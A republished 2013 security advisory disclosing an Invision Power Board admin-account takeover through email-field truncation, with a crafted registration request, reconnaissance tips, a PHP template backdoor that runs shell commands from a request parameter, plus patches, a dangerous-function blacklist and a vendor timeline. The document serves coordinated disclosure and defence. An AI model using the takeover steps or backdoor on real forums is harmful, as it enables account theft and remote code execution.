扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 |
IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) Admin account Takeover leading to code execution Written on : 2013/05/02 Released on : 2013/05/13 Author: John JEAN (@johnjean on twitter) Affected application: Invision Power Board <= 3.4.4 Type of vulnerability: Logical Vulnerability / Bad Sanitization Required informations : Administrator's email Evaluated Risk : Critical Solution Status : A patch has been released which fixes these vulnerabilities References :http://www.john-jean.com/blog/securite-informatique/ipb-invision-power-board-all-versions-1-x-2-x-3-x-admin-account-takeover-leading-to-code-execution-742 [0] Application description & Deployment estimation From wikipedia.org: Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet forum software produced by Invision Power Services, Inc. It is written in PHP and primarily uses MySQL as a database management system, although support for other database engines is available. While Invision Power Board is a commercially sold product, there is a large modding community and many of these modifications are free. In addition, many groups offer the download or design of free and paid skins. ---- This software is deployed on very popular websites such as: NASA, EMI, NHL, NBC, O'Reilly, Evernote, ... You can easily find tens of thousands of deployed instances using Google dorks such as: "inurl:index.php?app=core" or "powered by Invision Power Board". [I] Logic Flaw A) Overview IPB harbors a sanitization flaw in its registration form and user control panel (accessible once logged in). Incorrect e-mail address validation code allows an attacker to take over the admin account without prompting any alert but preventing the real admin to login afterwards. After a successful takeover, the attacker can plant a PHP backdoor using IPB's templating system. Thorough administrators will inspect total file system after they recover their hacked account, while other administrators might assume they are dealing with a bug, receive their new password using "Password recovery" system and leave the backdoor intact. Attacker may also use the "Retrieve password" process to mislead the admin into thinking their account was locked due to unsuccessful login attempts and not investigating further, thus preserving the backdoor. B) Required data 1) Administrator's login name The admin login is easily found by clicking on "The moderating Team" link on recent IPB's footer, or using the URL below: index.php?app=forums&module=extras§ion=stats&do=leaders 2) Administrator's e-mail Obtaining the admin e-mail may be more complicated as there is no automated way to get it. The attacker can get it through: - using whois on domain.tld to get registrar informations - looking up a prospective e-mail on Facebook and see if a matching profile shows up - using Gravatar (Gravatar is a personal avatar you can find on most blogs, forum, etc comments based on user e-mail address). Attacker can create a script to retrieve an email based on an avatar. For example mine is: http://www.john-jean.com/gravapwnd.php?zboob=john@wargan.com - do sourcing using FB, G+, Twitter, Google SERP, ... - use SE methods, such as faked e-mail catcher; or use XSSs on known websites consulted by the target. C) Explanation This vulnerability is grounded on both a mistake in MySQL knowledge and bad sanitization of the $email variable. 1) First of all, let's summarize how MySQL works: - Truncating while INSERT During an INSERT query, if the string exceeds the field size defined when creating the table, the string will be truncated. E.g.: ************************ BEGIN OF CODE ************************ CREATE TABLE <code>test</code> ( limitvarchar</code> varchar(5) NOT NULL ); --- INSERT INTO <code>test</code> (<code>limitvarchar</code>) VALUES ('123456789'); --- SELECT * FROM <code>test > 12345 ************************* END OF CODE *************************** However, the string is not truncated during SELECT queries. The following query will not return any result: ************************ BEGIN OF CODE ************************ SELECT * FROM <code>test</code> WHERE <code>limitvarchar</code> = "123456" ************************* END OF CODE *************************** MySQL use permissive SELECT: SELECT ignores spaces at the end of strings. Let's INSERT some datas: ************************ BEGIN OF CODE ************************ INSERT INTO <code>divers</code>.<code>test</code> (<code>limitvarchar</code>) VALUES ('1'); INSERT INTO <code>divers</code>.<code>test</code> (<code>limitvarchar</code>) VALUES ('1 '); INSERT INTO <code>divers</code>.<code>test</code> (<code>limitvarchar</code>) VALUES ('1'); INSERT INTO <code>divers</code>.<code>test</code> (<code>limitvarchar</code>) VALUES ('1 '); INSERT INTO <code>divers</code>.<code>test</code> (<code>limitvarchar</code>) VALUES ('1'); ************************* END OF CODE *************************** Thus the following query will yield the 5 records inserted before: ************************ BEGIN OF CODE ************************ SELECT * FROM <code>test</code> WHERE limitvarchar='1' ************************* END OF CODE *************************** Now, let's have a look at the checkEmailAddress function of admin/source/base/core.php: ************************ BEGIN OF CODE ************************ /** * Check email address to see if it seems valid * * @param string Email address * @return boolean * @since 2.0 */ static public function checkEmailAddress( $email = "" ) { $email = trim($email); $email = str_replace( " ", "", $email ); //----------------------------------------- // Check for more than 1 @ symbol //----------------------------------------- if ( substr_count( $email, '@' ) > 1 ) { return FALSE; } if ( preg_match( '#[\;\#\n\r\*\'\"<>&\%\!\(\)\{\}\[\]\?\\/\s\,]#', $email ) ) { return FALSE; } /* tld increased to 32 characters as per RFC - http://community.invisionpower.com/resources/bugs.html/_/ip-board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518*/ else if ( preg_match( '/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,32}|[0-9]{1,4})(\]?)$/', $email) ) { return TRUE; } else { return FALSE; } } ************************* END OF CODE *************************** As you may know, trim only removes whitespace (and some others) characters BEFORE and AFTER the string, that is why IPB core team also use str_replace to remove space chars IN the email string. However, this treatment is performed to change the email address to the correct format. This is done to ensure the next steps of the check, but there will be no condition returning false if string has been trim or if str_replace has been used. This function checks an email validity format used in the register form and the change email form. Let's take a look at a another function called load( $member_key, $extra_tables='all', $key_type='' ) in admin/sources/base/ipsMember.php ************************ BEGIN OF CODE ************************ static public function load( $member_key, $extra_tables='all', $key_type='' ) { //----------------------------------------- // INIT //----------------------------------------- $member_value= 0; $members = array(); $multiple_ids= array(); $member_field= ''; $joins = array(); $tables= array( 'pfields_content' => 0, 'profile_portal' => 0, 'groups' => 0, 'sessions' => 0, 'members_partial' => 0 ); $remap = array( 'extendedProfile'=> 'profile_portal', 'customFields' => 'pfields_content'); //----------------------------------------- // ID or email? //----------------------------------------- if ( ! $key_type ) { if ( is_array( $member_key ) ) { $multiple_ids = array_map( 'intval', $member_key ); // Bug #20908 $member_field = 'member_id'; } else { if ( strstr( $member_key, '@' ) ) { $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "'"; $member_field = 'email'; } else { $member_value = intval( $member_key ); $member_field = 'member_id'; } } } [...] case 'email': if ( is_array( $member_key ) ) { array_walk( $member_key, create_function( '&$v,$k', '$v="\'".ipsRegistry::DB()->addSlashes( strtolower( $v ) ) . "\'";' ) ); $multiple_ids = $member_key; } else { $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "'"; } $member_field = 'email'; ************************* END OF CODE *************************** As you can see, this function does not perform any verification on the length of $member_key & $v. We will exploit that in the next part. D) Exploitation Previously, on this adviso: we saw that $email is not rejected if it contains spurious whitespace, and that $member_key & $v length is not checked. We also saw some MySQL use-cases. Let's see how we can exploit that: The e-mail field from the <code>members</code> table in IPB is declared as a varchar(150). Upon registration, we fill the mail member (or admin) for which we want to steal the account to which we add a padding space for the size of the string exceeds 150. Then we add any character after the space one. It is necessary to bypass ajax's validator, feel free to use Burp Suite or Tamperdata. For example: Real administrator's email: 'admin@admin.com' Attacker's mail fill: 'admin@admin.com AAAA' <- ends here The SELECT query checking existing e-mails will not yield any result: SELECT * FROM members WHERE email='admin@admin.com AAAA' <- ends here The new account is successfully created. Our account is now using the e-mail address below: 'admin@admin.com ' <- ends here AAAA has been deleted by MySQL: string exceeding 150 characters are truncated. At this stage, we have two users with very similar e-mail addresses: Administrator is: 'admin@admin.com' Attacker is: 'admin@admin.com ' <- ends here POST HTTP request looks like (on registration page): ************************ BEGIN OF CODE ************************ POST /~codereview/IPB/index.php?app=core&module=global§ion=register HTTP/1.1 Host: gfy.wargan.com User-Agent: Wargan/1.0 (WarganOS; Amstrad; rv:1.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://gfx.wargan.com/~codereview/IPB/index.php?app=core&module=global§ion=register Cookie: session_id=00000000000; member_id=2; pass_hash=000000000000; ipsconnect_0000000000=1; coppa=0; rteStatus=rte Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 466 termsread=1&agree_to_terms=1&do=process_form&coppa_user=0&nexus_pass=1&time_offset=1&dst=1&members_display_name=pentest&EmailAddress=pentest%40wargan.comA&PassWord=pentest&PassWord_Check=pentest&recaptcha_challenge_field=03AHJ_VuvGN728OMAVD0UvgLdylK1KAt8WH0N2aezZZpZfluTG8wJmfSyhiKM0zYb7io5sk62SQ9fQ2Y1XKqPOmEG0hW9DrThpXgEh-DU73qdpZ_OPxkO_v1xg2k1dJSOCk0wZcxufezfezefezFM0LSCwjJn7bbJJMk&recaptcha_response_field=mmotlyiinducted&agree_tos=1 ************************* END OF CODE *************************** We now can change our password. The profile corresponding to our session's e-mail will be used. As already stated, spaces are not taken in consideration. The query will thus actually return the first matching e-mail result: the real administrator account. We will have actually changed the password of the administrator profile. This flaw is usable both on the registration page and on the user control panel (index.php?app=core&module=usercp&tab=core&area=email). E) Backdooring Once the attacker has got access to the administrator's backend, all he needs to do is go to /admin/index.php?adsess=000&app=core&module=templates§ion=templates&do=list&setID=1 and add some code to the defaultHeader template: ************************ BEGIN OF CODE ************************ <php> if(isset($_REQUEST['pwnd'])) { $pwnd=$_REQUEST['pwnd']; echo <code>$pwnd</code>; } </php> ************************* END OF CODE *************************** <php> & </php> markups are used by the IPB's templating system to add inline PHP code. <code></code> characters in PHP are used to do system calls. Once such a backdoor has been planted, any part of public_html can be compromised and it may also lead to privilege escalation on a dedicated server or LAN. index.php?lolz=ls%20/ returns: bin boot build dev etc home initrd.img initrd.img.old lib lost+found media mnt nonexistent opt proc root run sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old [II] Mitigation A) Patch party ! These are two quick & dirty patches, but they work. admin/source/base/core.php should be: ************************ BEGIN OF CODE ************************ /** * Check email address to see if it seems valid * * @param string Email address * @return boolean * @since 2.0 */ static public function checkEmailAddress( $email = "" ) { if (strlen($email) > 150) return FALSE; email = trim($email); $email = str_replace( " ", "", $email ); //----------------------------------------- // Check for more than 1 @ symbol //----------------------------------------- if ( substr_count( $email, '@' ) > 1 ) { return FALSE; } if ( preg_match( '#[\;\#\n\r\*\'\"<>&\%\!\(\)\{\}\[\]\?\\/\s\,]#', $email ) ) { return FALSE; } /* tld increased to 32 characters as per RFC - http://community.invisionpower.com/resources/bugs.html/_/ip-board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518*/ else if ( preg_match( '/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,32}|[0-9]{1,4})(\]?)$/', $email) ) { return TRUE; } else { return FALSE; } } ************************* END OF CODE *************************** Enforces the e-mail variable to be shorter than 150 characters. admin/source/base/ipsMember.php should be: ************************ BEGIN OF CODE ************************ if ( strstr( $member_key, '@' ) ) { $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "'"; $member_field = 'email'; } [...] if ( is_array( $member_key ) ) { array_walk( $member_key, create_function( '&$v,$k', '$v="\'".ipsRegistry::DB()->addSlashes( strtolower( substr($v,0,140) ) ) . "\'";' ) ); $multiple_ids = $member_key; } else { $member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "'"; } $member_field = 'email'; ************************* END OF CODE *************************** This will truncate the string to 140 characters. Patching 1st or 2nd file fixes the bug. B) Common sense - Never use a known email-adress for your application deployment, monitoring, supervision, ... You may use catch-all, or even better, another domain.tld than your own. - Never deploy applications you do not completely trust (no one ?) or you did not code review on shared hosting with other projects or applications that are not on that same network. Especially forums that expose a wide attack surface to malicious users. - Use mitigation systems such as IDS (which can be evaded depending on your attacker skills). - Blacklist dangerous php functions (using http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.func.blacklist ?) php_admin_value open_basedir /home/ipb/:/usr/share/php/ php_admin_value suhosin.executor.func.blacklist exec,dl,fpassthru,move_uploaded_file,phpinfo,passthru,shell_exec,system,proc_open,popen,curl,curl_exec,curl_multi_exec,parse_ini_file,show_source, ... - Use a chrooted environment - ... [III] Recommendations The vendor has released a patch which fixes these vulnerabilities. It is strongly recommended to upgrade your software version: http://community.invisionpower.com/topic/385207-ipboard-32x-33x-and-34x-critical-security-update/ [IV] Timeline 2013/05/02: Advisory sent to IPB 2013/05/02: IPB responded 2013/05/03: Patch has been released 2013/05/03: IPB asked to wait at least a week before publishing advisory to protect their huge community 2013/05/13: Advisory is released [V] Author John JEAN is a French security researcher working at Wargan Solutions - http://www.wargan.com Follow him on twitter @johnjean [VI] PGP -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.9 (GNU/Linux) mQGiBEo1REYRBADDGgkQVv+iN+LzRFH3WiDX+S0iTPg60MzTifYpfbeKH+FwdN/J /lujfR3TjielPEWVbYCnPJA/wHNNUACm6+qWoPx5SzjKq1BXMoGoUkO5DtXivboG NugVyKOBh7OARWilOkP6eB2zqbf/2ReHQtbX8a7xWyHzApyIAo/F2CiYOwCg7SyD UQifs08r8Um3pmyLMxTVjncD/1BrpfSWgYJYFLPobHuRvtoEyhK9ONuNWgQKYHQm mpoM6nxNVijySPpgyuyeDcyxgOzLJ3QI9Mqx+tmr1uLFZhAWSe0K5uz64pQ9PUMF LTvN5uN3sVAER4kA1Jxs5foTIkrCA6eQqmypIfo/egX1W1Y/1uC0aB0/kG11rQO0 fgUwA/4qubdS0PcnPZUQYVJUe6rDx5r2U/WVD+sHFY+ILFnVzdrxEdr1md35e9P5 ovuMfUunIwKH8BjSG3fXXESTZuZXfFlqwrR+m1y5qUcXwr9wnffRP2iQxIaQi5+b D4dR1J+oiNlPlVL8FuKK1dKHjIN9u4tjlE/VWCxoUyo97320z7QtSm9obiBKRUFO IChHZWVrIFdvcmthaG9saWMpIDxKb2huQHdhcmdhbi5jb20+iGAEExECACAFAko1 REYCGwMGCwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRBthXHBmOb+lvYJAJ9k30a7 lZx92PXQfNeoKocX5Uo3vACgtWuhqkDB1IvRMjMe49ng18Sp87y5Ag0ESjVERhAI AM0fzE0z5enz37lGPPHZrgW+XYWHNLfoR0gJvpu0FkPj4udPYL6+RJLGocWeJQBb UuEgcFdKJugxs3U9y/5iSFfM3e5+jOqPZCj6loP8nY9yarfVQHlZKqn6zseCT3D8 d1uTNJWnzb5LYnbFrETCyJbaENH8jzNQCGP3NCyIfXfn5Wag7HUh6Zi6njwl/2zx saizuQ3Wv0PjiVuJ8QEPvOdN9crTwt/JB2xRd98st7S5oEHvP96MyOtWSUWEnLSG fQhVyZC+aLLCOp8ggNkCAwOUGvPetJXVOLaPUJAoEwzDxXl43+GlKreqXH+W2GZT 0/n8W4p28Xrqv2G/SJa9sg8AAwUH/0GvW9eYRLaRDuAaBdlGX8jXsCnOvdMoioeg Wq9HwIYr94/kW2wJ1QFnhuEU/0cwx9MVrMElW0Q14kyY3KVUWAVpUTbfUPmtD6lo RO3EnoHDJoaak0yuw67Townpc9zRIBci3vUcUTh9SwUtv16b96DI92BRRu8XBaRU 13E33BWUkf6DebpYHmCmlwy3NelHfOtbzc2FBJ7Xt+hQnxd+07V2NgUNjMpCQrMD oh8ulOLWvrGKm7SZhV0ubqTt85mM6j5tmw0dkMwsGhgnf0U12uMfEKxm3IjcU+uk 0757WvPQQcr/iFSjxXwroqIgZpSJ/L1c8cfXgZ5bf0syeFODxEGISQQYEQIACQUC SjVERgIbDAAKCRBthXHBmOb+loxrAKDUB6CWC+kYIOaRmD9IvVfKosm9wgCeN4XV 3vIlH84xsRZ/rS/yfwggdDc= =jCPh -----END PGP PUBLIC KEY BLOCK----- |
体验盒子
